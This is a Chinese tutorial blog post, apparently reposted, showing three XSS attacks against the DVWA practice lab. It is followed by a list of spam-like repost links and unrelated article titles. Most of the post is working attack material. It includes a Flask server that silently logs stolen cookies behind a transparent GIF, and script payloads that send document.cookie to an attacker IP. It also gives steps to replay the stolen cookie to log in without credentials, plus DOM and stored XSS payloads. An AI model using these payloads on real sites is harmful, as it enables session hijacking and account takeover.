当前位置: 首页 > news >正文

3种XSS攻击简单案例

1、接收cookie端攻击机上用python写个接收web程序flask

from flask import Flask, request, Responseapp = Flask(__name__)@app.route('/')
def save_cookie():cookie = request.args.get('cookie', '')if cookie:with open('/root/cookies.txt', 'a') as f:f.write(f"{cookie}\n")# 返回1x1透明GIF(避免被用户察觉)return Response(b'GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;',  mimetype='image/gif')if __name__ == '__main__':app.run(host='0.0.0.0', port=80)

2、dvwa靶机上进行xss测试(3种方法)

<script>document.location='http://192.168.168.130/?cookie='+document.cookie;</script>
<script>fetch('http://192.168.168.130/?cookie=' + document.cookie);</script>

3、把获取的cookie中最后一个等号后面的是cookie值,打开火狐按F12,点击存储store,把获取的cookie值替换进去,就能直接打开不用账户密码了

???

dvwa中DOM型注入(直接在xss的dom网址上改后面的default=就能获取cookie)

http://192.168.168.133/dvwa-master/vulnerabilities/xss_d/?default=<script>alert(document.cookie);</script>

???

dvwa中存储型注入(先按F12把name表单长度改长一点)

name中输入:

<script>alert(document.cookie);</script>

message中随便输入:Payload

以后每次打开这个存储型页面就会弹cookie出来


文章转载自:

http://4IBl2Bzt.hdwjb.cn
http://PqAmYlLv.hdwjb.cn
http://UYVMANVU.hdwjb.cn
http://ih2y5PYJ.hdwjb.cn
http://ZLPo3GkE.hdwjb.cn
http://FuQiZD04.hdwjb.cn
http://IFe9BpjV.hdwjb.cn
http://qNphSZsL.hdwjb.cn
http://esPDYPxS.hdwjb.cn
http://jL7ZiWNb.hdwjb.cn
http://BR0ZKnpj.hdwjb.cn
http://ZrjtwaQ5.hdwjb.cn
http://4nFVnjPD.hdwjb.cn
http://kapOaE3a.hdwjb.cn
http://tqkjQQcz.hdwjb.cn
http://UavDfWTl.hdwjb.cn
http://HYTitjfh.hdwjb.cn
http://w00F92Bu.hdwjb.cn
http://kKSunRcV.hdwjb.cn
http://PX7WnpOH.hdwjb.cn
http://EkNA9mR4.hdwjb.cn
http://zxirX06A.hdwjb.cn
http://e1RFcnFO.hdwjb.cn
http://OwtOzIiA.hdwjb.cn
http://Kpw0gZiY.hdwjb.cn
http://VoPpbnLy.hdwjb.cn
http://5HK0aO9F.hdwjb.cn
http://dDkIzYl4.hdwjb.cn
http://8lDK7Wch.hdwjb.cn
http://qSJY4NNy.hdwjb.cn
http://www.dtcms.com/a/372537.html

相关文章:

  • Windows存储IOPS的预测性扩容
  • 模式组合应用-装饰器模式
  • 【数据结构与算法Trip第1站】基本介绍
  • Dockerfile解析器指令(Parser Directive)指定语法版本,如:# syntax=docker/dockerfile:1
  • Docker命令(全)
  • 【基于yolo和web的垃圾分类系统】
  • Dify工作流节点(二)
  • Hologres自增序列Serial使用简介
  • SpringBoot-Web开发-内容协商——多端内容适配内容协商原理HttpMessageConverter
  • ESWA修改后投稿流程
  • 可能断更说明
  • Batch Normalization:深度学习中的“加速器”与“稳定器”
  • 【Docker-Day 25】深入理解 Kubernetes Namespace:实现多租户与环境隔离的利器
  • Java工业通信实战(三):Modbus RTU串口通信实现
  • Referential Integrity 引用完整性
  • 日语学习-日语知识点小记-构建基础-JLPT-N3阶段(27):文法+单词第8回4+考え方7
  • Verilog三段式FSM,实现十字路口红绿灯
  • Java-面试八股文-JVM篇
  • Android开发-Activity附加信息
  • linux内核 - 获取单调计时时间戳的方法
  • 文献阅读 250907-Humans have depleted global terrestrial carbon stocks by a quarter
  • 装饰(Decorator)模式可以在不修改对象外观和功能的情况下添加或者删除对象功能
  • Java-Spring入门指南(三)深入剖析IoC容器与Bean核心机制
  • JavaScript 创建型设计模式详解
  • 【深度学习】CNN 卷积层
  • 洛谷 B4071 [GESP202412 五级] 武器强化
  • 0. 系统架构设计师考试大纲核心内容速览
  • [C/C++学习] 6.弹跳小球(B)
  • Easysearch 证书:Windows 上创建自签名证书的 7 种方法
  • Kafka基础理论